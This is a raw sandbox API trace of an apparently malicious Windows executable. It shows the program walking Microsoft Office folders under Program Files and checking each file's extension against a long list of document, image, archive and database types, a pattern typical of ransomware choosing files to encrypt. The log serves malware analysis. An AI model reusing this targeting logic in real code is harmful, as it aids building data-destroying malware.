ftCreationTime.dwLowDateTime=0xc65954d0, ftCreationTime.dwHighDateTime=0x1d48e2e, ftLastAccessTime.dwLowDateTime=0x228172d0, ftLastAccessTime.dwHighDateTime=0x1d4a778, ftLastWriteTime.dwLowDateTime=0x228172d0, ftLastWriteTime.dwHighDateTime=0x1d4a778, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="distinctiondollardemographic.exe", cAlternateFileName="DISTIN~1.EXE")) returned 1 [0260.907] RtlpDeCommitFreeBlock () [0260.908] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0260.913] RtlpDeCommitFreeBlock () [0260.956] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0261.221] RtlpDeCommitFreeBlock () [0261.221] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0261.221] RtlpDeCommitFreeBlock () [0261.221] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0261.229] RtlpDeCommitFreeBlock () [0261.229] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0261.238] RtlpDeCommitFreeBlock () [0261.239] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0261.546] RtlpDeCommitFreeBlock () [0261.546] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0261.555] RtlpDeCommitFreeBlock () [0261.555] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0261.565] RtlpDeCommitFreeBlock () [0261.565] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES", cAlternateFileName="")) returned 1 [0261.570] RtlpDeCommitFreeBlock () [0261.570] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE10.DLL", cAlternateFileName="")) returned 1 [0261.570] RtlpDeCommitFreeBlock () [0261.570] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0261.571] FindClose (in: hFindFile=0x63ee08 | out: hFindFile=0x63ee08) returned 1 [0261.571] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4530048 | out: hHeap=0x540000) returned 1 [0261.571] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0261.576] RtlpDeCommitFreeBlock () [0261.577] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1 [0261.582] RtlpDeCommitFreeBlock () [0261.582] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0262.270] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0262.384] RtlpDeCommitFreeBlock () [0262.386] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0262.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue") returned 81 [0262.387] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63f088 [0262.387] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.387] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0262.387] lstrlenW (lpString="BUTTON.GIF") returned 10 [0262.387] lstrlenW (lpString=".1cd") returned 4 [0262.387] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.387] lstrlenW (lpString=".3ds") returned 4 [0262.387] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0262.387] lstrlenW (lpString=".3fr") returned 4 [0262.387] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0262.387] lstrlenW (lpString=".3g2") returned 4 [0262.387] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0262.387] lstrlenW (lpString=".3gp") returned 4 [0262.387] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0262.387] lstrlenW (lpString=".7z") returned 3 [0262.387] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.387] lstrlenW (lpString=".accda") returned 6 [0262.387] lstrcmpiW (lpString1=".accda", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".accdb") returned 6 [0262.388] lstrcmpiW (lpString1=".accdb", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".accdc") returned 6 [0262.388] lstrcmpiW (lpString1=".accdc", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".accde") returned 6 [0262.388] lstrcmpiW (lpString1=".accde", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".accdt") returned 6 [0262.388] lstrcmpiW (lpString1=".accdt", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".accdw") returned 6 [0262.388] lstrcmpiW (lpString1=".accdw", lpString2="ON.GIF") returned -1 [0262.388] lstrlenW (lpString=".adb") returned 4 [0262.388] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".adp") returned 4 [0262.388] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai") returned 3 [0262.388] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0262.388] lstrlenW (lpString=".ai3") returned 4 [0262.388] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai4") returned 4 [0262.388] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai5") returned 4 [0262.388] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai6") returned 4 [0262.388] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai7") returned 4 [0262.388] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".ai8") returned 4 [0262.388] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0262.388] lstrlenW (lpString=".anim") returned 5 [0262.388] lstrcmpiW (lpString1=".anim", lpString2="N.GIF") returned -1 [0262.389] lstrlenW (lpString=".arw") returned 4 [0262.389] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".as") returned 3 [0262.389] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0262.389] lstrlenW (lpString=".asa") returned 4 [0262.389] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".asc") returned 4 [0262.389] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".ascx") returned 5 [0262.389] lstrcmpiW (lpString1=".ascx", lpString2="N.GIF") returned -1 [0262.389] lstrlenW (lpString=".asm") returned 4 [0262.389] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".asmx") returned 5 [0262.389] lstrcmpiW (lpString1=".asmx", lpString2="N.GIF") returned -1 [0262.389] lstrlenW (lpString=".asp") returned 4 [0262.389] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".aspx") returned 5 [0262.389] lstrcmpiW (lpString1=".aspx", lpString2="N.GIF") returned -1 [0262.389] lstrlenW (lpString=".asr") returned 4 [0262.389] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".asx") returned 4 [0262.389] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".avi") returned 4 [0262.389] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".avs") returned 4 [0262.389] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".backup") returned 7 [0262.389] lstrcmpiW (lpString1=".backup", lpString2="TON.GIF") returned -1 [0262.389] lstrlenW (lpString=".bak") returned 4 [0262.389] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".bay") returned 4 [0262.389] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0262.389] lstrlenW (lpString=".bd") returned 3 [0262.389] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0262.389] lstrlenW (lpString=".bin") returned 4 [0262.390] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".bmp") returned 4 [0262.390] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".bz2") returned 4 [0262.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".c") returned 2 [0262.390] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0262.390] lstrlenW (lpString=".cdr") returned 4 [0262.390] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cer") returned 4 [0262.390] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cf") returned 3 [0262.390] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0262.390] lstrlenW (lpString=".cfc") returned 4 [0262.390] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cfm") returned 4 [0262.390] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cfml") returned 5 [0262.390] lstrcmpiW (lpString1=".cfml", lpString2="N.GIF") returned -1 [0262.390] lstrlenW (lpString=".cfu") returned 4 [0262.390] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".chm") returned 4 [0262.390] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cin") returned 4 [0262.390] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".class") returned 6 [0262.390] lstrcmpiW (lpString1=".class", lpString2="ON.GIF") returned -1 [0262.390] lstrlenW (lpString=".clx") returned 4 [0262.390] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".config") returned 7 [0262.390] lstrcmpiW (lpString1=".config", lpString2="TON.GIF") returned -1 [0262.390] lstrlenW (lpString=".cpp") returned 4 [0262.390] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".cr2") returned 4 [0262.390] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0262.390] lstrlenW (lpString=".crt") returned 4 [0262.391] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".crw") returned 4 [0262.391] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".cs") returned 3 [0262.391] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0262.391] lstrlenW (lpString=".css") returned 4 [0262.391] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".csv") returned 4 [0262.391] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".cub") returned 4 [0262.391] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dae") returned 4 [0262.391] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dat") returned 4 [0262.391] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".db") returned 3 [0262.391] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0262.391] lstrlenW (lpString=".dbf") returned 4 [0262.391] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dbx") returned 4 [0262.391] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dc3") returned 4 [0262.391] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dcm") returned 4 [0262.391] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".dcr") returned 4 [0262.391] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0262.391] lstrlenW (lpString=".der") returned 4 [0262.391] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dib") returned 4 [0262.392] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dic") returned 4 [0262.392] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dif") returned 4 [0262.392] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".divx") returned 5 [0262.392] lstrcmpiW (lpString1=".divx", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".djvu") returned 5 [0262.392] lstrcmpiW (lpString1=".djvu", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".dng") returned 4 [0262.392] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".doc") returned 4 [0262.392] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".docm") returned 5 [0262.392] lstrcmpiW (lpString1=".docm", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".docx") returned 5 [0262.392] lstrcmpiW (lpString1=".docx", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".dot") returned 4 [0262.392] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dotm") returned 5 [0262.392] lstrcmpiW (lpString1=".dotm", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".dotx") returned 5 [0262.392] lstrcmpiW (lpString1=".dotx", lpString2="N.GIF") returned -1 [0262.392] lstrlenW (lpString=".dpx") returned 4 [0262.392] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dqy") returned 4 [0262.392] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0262.392] lstrlenW (lpString=".dsn") returned 4 [0262.392] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".dt") returned 3 [0262.393] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0262.393] lstrlenW (lpString=".dtd") returned 4 [0262.393] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".dwg") returned 4 [0262.393] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".dwt") returned 4 [0262.393] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".dx") returned 3 [0262.393] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0262.393] lstrlenW (lpString=".dxf") returned 4 [0262.393] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".edml") returned 5 [0262.393] lstrcmpiW (lpString1=".edml", lpString2="N.GIF") returned -1 [0262.393] lstrlenW (lpString=".efd") returned 4 [0262.393] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".elf") returned 4 [0262.393] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".emf") returned 4 [0262.393] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".emz") returned 4 [0262.393] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".epf") returned 4 [0262.393] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".eps") returned 4 [0262.393] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".epsf") returned 5 [0262.393] lstrcmpiW (lpString1=".epsf", lpString2="N.GIF") returned -1 [0262.393] lstrlenW (lpString=".epsp") returned 5 [0262.393] lstrcmpiW (lpString1=".epsp", lpString2="N.GIF") returned -1 [0262.393] lstrlenW (lpString=".erf") returned 4 [0262.393] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".exr") returned 4 [0262.393] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0262.393] lstrlenW (lpString=".f4v") returned 4 [0262.393] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".fido") returned 5 [0262.394] lstrcmpiW (lpString1=".fido", lpString2="N.GIF") returned -1 [0262.394] lstrlenW (lpString=".flm") returned 4 [0262.394] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".flv") returned 4 [0262.394] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".frm") returned 4 [0262.394] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".fxg") returned 4 [0262.394] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".geo") returned 4 [0262.394] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".gif") returned 4 [0262.394] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0262.394] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0262.394] lstrlenW (lpString="HEADER.GIF") returned 10 [0262.394] lstrlenW (lpString=".1cd") returned 4 [0262.394] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".3ds") returned 4 [0262.394] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".3fr") returned 4 [0262.394] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".3g2") returned 4 [0262.394] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".3gp") returned 4 [0262.394] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0262.394] lstrlenW (lpString=".7z") returned 3 [0262.394] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.394] lstrlenW (lpString=".accda") returned 6 [0262.394] lstrcmpiW (lpString1=".accda", lpString2="ER.GIF") returned -1 [0262.394] lstrlenW (lpString=".accdb") returned 6 [0262.394] lstrcmpiW 